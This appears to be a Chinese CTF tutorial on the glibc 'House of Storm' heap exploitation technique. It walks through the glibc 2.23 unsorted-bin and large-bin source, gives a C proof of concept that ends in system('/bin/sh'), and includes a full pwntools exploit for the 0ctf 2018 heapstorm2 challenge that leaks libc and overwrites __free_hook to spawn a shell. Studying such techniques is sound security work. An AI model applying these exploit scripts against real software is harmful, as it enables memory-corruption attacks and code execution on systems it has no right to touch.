house_of_storm
漏洞危害
House_of_storm 可以在任意地址写出chunk地址,进而把这个地址的高位当作size,可以进行任意地址分配chunk，也就是可以造成任意地址写的后果，危害十分之大。 House_of_storm 虽然危害之大，但是其条件也是非常的苛刻。
漏洞利用条件
- glibc版本小于2.30,因为2.30之后加入了检查
- 需要攻击者在
large_bin和unsorted_bin中分别布置一个chunk 这两个chunk需要在归位之后处于同一个largebin的index中且unsorted_bin中的chunk要比large_bin中的大 - 需要
unsorted_bin中的bk指针可控 - 需要
large_bin中的bk指针和bk_nextsize指针可控
原理及源码分析
漏洞发生在unsorted_bin的chunk放入largebin的过程中，以下是glibc2.23的源码分析。
//#define unsorted_chunks(M) (bin_at (M, 1))
//如果unsorted bins不为空，从尾到头遍历unsorted bin中的每个chunk
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av))
{
bck = victim->bk;//取出unsorted的尾部的chunk
/*
检查当前遍历的 chunk 是否合法，chunk 的大小不能小于等于 2 * SIZE_SZ，
也不能超过 该分配区总的内存分配量。然后获取 chunk 的大小并赋值给 size。
这里的检查似乎有点小问题，直接使用了 victim->size，但 victim->size
中包含了相关的标志位信息，使用 chunksize(victim) 才比较合理，但在
unsorted bin 中的空闲 chunk 的所有标志位都清零了，所以这里直接
victim->size 没有问题。
*/
if (__builtin_expect(victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect(victim->size > av->system_mem, 0))
malloc_printerr(check_action, "malloc(): memory corruption",
chunk2mem(victim), av);
size = chunksize(victim);//获取victim的size
/*
如果要申请的大小在smallbin范围 且 unsorted chunks 只有一个chunk，且
victim是last_remainder 且 victim的size大于请求的chunk的大小nb加上
(MINSIZE)最小chunk的size,那么就切割remainder,然后返回victim。
last_remainder 是一个 chunk 指针，分配区上次分配 small chunk 时，
从一个 chunk 中分 裂出一个 small chunk 返回给用户，分裂后的剩余部分
形成一个 chunk，last_remainder 就是 指向的这个 chunk。
*/
if (in_smallbin_range(nb) &&
bck == unsorted_chunks(av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
//分割remainder
remainder_size = size - nb;//计算分割后剩下的size
remainder = chunk_at_offset(victim, nb);//获取remainder的地址
//把remainder加入unsorted bin中
unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder;
av->last_remainder = remainder; // 设置last_remainder为remainder
remainder->bk = remainder->fd = unsorted_chunks(av);
//如果是remainder在large bin的范围，则把fd_nextsize,fd_nextsize清零
if (!in_smallbin_range(remainder_size)) {
remainder->fd_nextsize = NULL;
remainder->fd_nextsize = NULL;
}
//设置victim的size
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
//设置remainder的size
set_head(remainder, remainder_size | PREV_INUSE);
//设置remainder的物理相邻的下一个chunk的prev_size
set_foot(remainder, remainder_size);
check_malloced_chunk(av, victim, nb);//默认不做任何操作
void *p = chunk2mem(victim);//将chunk指针转化为mem指针
alloc_perturb(p, bytes);//将p的mem部分全部设置为bytes ,默认什么也不做
return p;
}
//把victim从unsorted bin 中移除
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
//如果 victim 的size 与申请的size相等，那么就返回其。
if (size == nb) {
//设置victim物理相邻的下一个chunk的prev_inuse位
set_inuse_bit_at_offset(victim, size);
//如果av不是main_arena 也就是说如果不是主进程,设置NON_MAIN_ARENA位
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk(av, victim, nb); // 默认不做任何操作
void *p = chunk2mem(victim);//把chunk转换为mem指针
alloc_perturb(p, bytes);//将p的mem部分全部设置为bytes ,默认什么也不做
return p;
}
//如果上一步取出的chunk没有匹配成功，那么将该chunk放入对应的bin中
//如果在smallbin的范围,则放到对应多small bin中
if (in_smallbin_range(size))
{
victim_index = smallbin_index(size);//获取size对应的smallbin的index
bck = bin_at(av, victim_index);//bck指向size对应的smallbin的链表头
//fwd指向size对应的smallbin的链表中的新加入的chunk(small bin使用头插法)
fwd = bck->fd;
}
else//如果不再smallbin的范围，也就是说在large bin 的范围
{
victim_index = largebin_index(size);//获取size对应的large bin的index
bck = bin_at(av, victim_index);//bck指向size对应的large bin的链表头
fwd = bck->fd;//fwd指向size对应的large bin的链表中的新加入的chunk
//如果large bin 非空，在largbin进行按顺序插入
if (fwd != bck) {
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
assert((bck->bk->size & NON_MAIN_ARENA) == 0);//默认不启用assert
/*
large bin中的chunk是按从大到小排列的，如果size < large bin
的最后一个chunk，说明size是这个large bin中的最小的，我们把它
加入到此large bin尾部。
*/
if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) {
fwd = bck;
bck = bck->bk;
/*
large bin 中size最小的chunk的fd_nextsize会指向size最大的
那个chunk，也就是首部的chunk。同样，large bin 中size最大的
chunk的bk_nextsize会指向size最小的那个chunk。
victim的bk_nextsize指向large bin原来最小的chunk，它的
bk_nextsize指向最大的那个chunk。那么原来的最小的就成了第二小的了。
把它fd_nextsize和bk_nextsize都修正。
*/
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
//最大size的chunk的bk_nextsize，和原来最小chunk的bk_nextsize都指向victim
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else //如果victim不是large bin 中最小的chunk
{
assert((fwd->size & NON_MAIN_ARENA) == 0);//默认不启用assert
//从大到小（从头到尾）找到合适的位置
while ((unsigned long) size < fwd->size) {
fwd = fwd->fd_nextsize;
assert((fwd->size & NON_MAIN_ARENA) == 0);
}
//如果size刚好相等，就直接加入到其后面省的改fd_nextsize和bk_nextsize了
if ((unsigned long) size == (unsigned long) fwd->size)
fwd = fwd->fd;
else
{
//size不相等，即size>fwd->size，把victim加入到纵向链表中
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else //如果large bin 为空，将victim加入到纵向列表
victim->fd_nextsize = victim->bk_nextsize = victim;
}
//#define mark_bin(m, i) ((m)->binmap[idx2block (i)] |= idx2bit (i))
mark_bin(av, victim_index); //把victim加入到的bin的表示为非空
//把victim加入到large bin的链表中
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
}
我们把关键部分拿出来再来看一看,我了方便看部分代码有改动，我们将unsorted_chunk
//我们控制unsorted_chunk->bk = fake_chunk
//unsorted_chunks(av)->bk = fake_chunk
unsorted_chunks(av)->bk = unsorted_chunk->bk;
//fake_chunk+0x10 = unsorted_bin
bck->fd = unsorted_chunks(av);
else
{
/*
如果unsorted_chunk->size 大于 largbin_chunk->size，
把unsorted_chunk加入到纵向链表中
我们控制
large_chunk->bk = fake_chunk+0x8
large_chunk->bk_nextsize=fake_chunk-0x18-5
*/
unsorted_chunk->fd_nextsize = largbin_chunk;
//unsorted_chunk->bk_nextsize = fake_chunk-0x18-5
unsorted_chunk->bk_nextsize = largbin_chunk->bk_nextsize;
largbin_chunk->bk_nextsize = unsorted_chunk;
//fake_chunk+0x3 = unsorted_chunk
unsorted_chunk->bk_nextsize->fd_nextsize = unsorted_chunk;
}
//bck = fake_chunk+0x8
bck = largbin_chunk->bk;
}
}
mark_bin(av, unsorted_chunk_index); //把unsorted_chunk加入到的bin的表示为非空
//把unsorted_chunk加入到large bin的链表中
unsorted_chunk->bk = bck;
unsorted_chunk->fd = largbin_chunk;
largbin_chunk->bk = unsorted_chunk;
//fake_chunk+0x18 = unsorted_chunk
bck->fd = unsorted_chunk;
主要改写就一下4个地方
- unsorted_bin->bk = fake_chunk #把fake_chunk链到了unsorted_bin中
- fake_chunk+0x10 = unsorted_bin #伪造fake_chunk的fd
- fake_chunk+0x3 = unsorted_chunk #伪造fake_chunk的size
- fake_chunk+0x18 = unsorted_chunk #伪造fake_chunk的bk
通过以上4步，我们成功伪造一个合法的fake_chunk，满足unsorted bin的要求，并把它链到了unsorted bin中
例子
// gcc -ggdb -fpie -pie -o house_of_storm house_of_storm.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
struct {
unsigned long presize;
unsigned long size;
unsigned long fd;
unsigned long bk;
unsigned long fd_nextsize;
unsigned long bk_nextsize;
}chunk;
int main()
{
unsigned long *large_chunk,*unsorted_chunk;
unsigned long *fake_chunk = (unsigned long *)&chunk;
char *ptr;
unsorted_chunk=malloc(0x418);
malloc(0X20);
large_chunk=malloc(0x408);
malloc(0x20);
free(large_chunk);
free(unsorted_chunk);
unsorted_chunk=malloc(0x418); //large_chunk归位
free(unsorted_chunk); // unsorted_chunk归位
//重点一下3步
unsorted_chunk[1] = (unsigned long )fake_chunk;
large_chunk[1] = (unsigned long )fake_chunk+8;
large_chunk[3] = (unsigned long )fake_chunk-0x18-5;
ptr=malloc(0x48);
strncpy(ptr, "/bin/sh\x00", 0x10);
system(((char *)fake_chunk + 0x10));
return 0;
}
所以当我们申请的size和0x56经过对齐后相等的话，那么就可以拿到任意的chunk。
0x55 : 1010101
0x56 : 1010110
__int_malloc在拿到chunk后返回到__libc_malloc，__libc_malloc会对chunk的进行检查，这里如果有错的话会直接crash，但是由于程序有随机化，多运行几次总能有一次成功的。
/*
#define arena_for_chunk(ptr) \
(chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
过以下检测需要满足的要求，只需满足一条即可
1. victim 为 0
2. IS_MMAPPED 为 1
3. NON_MAIN_ARENA 为 0
*/
assert(!victim || chunk_is_mmapped(mem2chunk(victim))
|| ar_ptr == arena_for_chunk(mem2chunk(victim)));
0ctf_2018_heapstorm2
首先检查保护
IDA 分析，标准的增删改查
__init函数
- 禁用的fastbin
- 在0x133700处 mmap出了一片空间作为heaparray
- 读入了3个随机数，第四4个和第3个一样，我们记作r1,r2,r3,r4
- 初始化后面的地址，用r1异或0 作为ptr的值，r2异或0作为size值，我们之后的ptr都是通过xor r1得到的，size都是 xor r2得到的
add函数
- 找到第一个size为0的，然后根据输入的size(12<size<0x1000)calloc ,然后在heaparray中填入相应的值。
edit函数
- 读入的数据+12要小于等于申请时写的size,我们读入的数据会追加上一个12字节字符串再加上一个0结尾，所以存在off_by_null但是prev_size无法控制。
delete 函数
- 看上去挺正常的
show 函数
- 要满足r2 xor r3 = 0x13377331才可以show，所以我们要想办法控制heaparray的内容才能show
综上：
- 存在 off_by_null 漏洞
- 申请的大小在 12~0x1000，使用的是calloc
- 目前不能show
- gibc用的是2.23
我们可以考虑使用house_of_storm,因为我们知道heaparray的地址，并且我们house_of_storm可以实现任意地址申请chunk，这样我们就能控制r3,r4的值，使得show可以使用
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./0ctf_2018_heapstorm2')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def add(size):
p.sendlineafter('Command: ','1')
p.sendlineafter('Size: ',str(size)) # 12<size<0x1000
def edit(idx,content):
p.sendlineafter('Command: ','2')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Size: ',str(len(content)))
p.sendafter('Content: ',content)
def delete(idx):
p.sendlineafter('Command: ','3')
p.sendlineafter('Index: ',str(idx))
def show(idx):
p.sendlineafter('Command: ','4')
p.sendlineafter('Index: ',str(idx))
#---------------布置chunk-------------------------#
add(0x18)#0 off_by_null修改1的size
add(0x508)#1
add(0x18)#2
#---------------
add(0x18)#3 off_by_null修改4的size
add(0x508)#4
add(0x18)#5
#---------------
add(0x18)#6 防止合并到top_chunk
#----------------准备 unsorted chunk-----------------------#
edit(1,'\x00'*0x4F0+p64(0x500)) #伪造chunk
delete(1)
edit(0,'\x00'*(0x18-12)) #修改chunk1的size， 0x511->0x500
add(0x18) #1
add(0x4d8) #7 把0x500用完
delete(1)
delete(2) #1-2 合并 这是就存在堆重叠
add(0x38)#1
add(0x4e8)#2 chunk7的content指向chunk2的chunk-0x10位置处,我们可以实现控制unsorted chunk
#-------------------准备 large chunk-----------------------------------#
edit(4,'\x00'*0x4F0+p64(0x500))#伪造chunk
delete(4)
edit(3,'\x00'*(0x18-12)) #修改chunk4的size， 0x511->0x500
add(0x18) #4
add(0x4d8) #8 把0x500用完
delete(4)
delete(5) #4-5 合并 这是就存在堆重叠
add(0x48)#4 此时unsorted bin中剩下一个0x4e1大小的chunk，且与8重叠，我们可以实现控制large chunk
#---------------unsorted chunk 和 large chunk 放到对应位置----------------------#
delete(2)
add(0x4e8) #把0x4e1的chunk放入到largebin中
delete(2) #把0x4F1的chunk放入到unsorted bin中
#--------------修改他们是的满足条件进行 house of strom------------------------------#
fake_chunk = 0x13370800 - 0x20
payload = '\x00' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(7, payload) #修改unsorted chunk的bk
payload = '\x00' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) + p64(0) + p64(fake_chunk-0x18-5)
edit(8, payload) #修改 large chunk 的 bk 和 bk_nextsize
add(0x48) #2 -> 0x133707e0 成功将申请到了heaparray附近
#-----------------------泄漏 libc----------------------------------#
#由于bins中的chunk的fd,bk指向libc的地址，我们先要泄漏heap的地址
payload = p64(0)*6 + p64(0x13370800)
edit(2, payload) #修改了r0~r4为0，并且修改了chunk0的地址，此时的chunk0的size非常大，因为异或的是0
payload = p64(0)*3 +p64(0x13377331) #满足show的条件
payload += p64(0x13370800) + p64(0x1000) #chunk0
payload += p64(fake_chunk+3) + p64(8) #chunk1
edit(0, payload) #满足show的条件
show(1) #我们刚刚house of storm 写的地址泄漏出来
p.recvuntil("]: ")
heap = u64(p.recv(6).ljust(8, '\x00'))
success("heap:"+hex(heap))
payload = p64(0)*3 + p64(0x13377331)#满足show的条件
payload += p64(0x13370800) + p64(0x1000) #chunk0
payload += p64(heap+0x10) + p64(8) #chunk1
edit(0, payload)
show(1) #泄漏libc地址
p.recvuntil("]: ")
malloc_hook = u64(p.recv(6).ljust(8, '\x00')) -0x58 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+ libc.sym['system']
success("free_hook:"+hex(free_hook))
#--------------修改 free_hook -----------------------------------#
payload = p64(0)*4
payload += p64(free_hook) + p64(0x100)#chunk0
payload += p64(0x13370800+0x40) + p64(8)#chunk1
payload += '/bin/sh\x00'
edit(0, payload)
edit(0, p64(system))
delete(1)
p.interactive()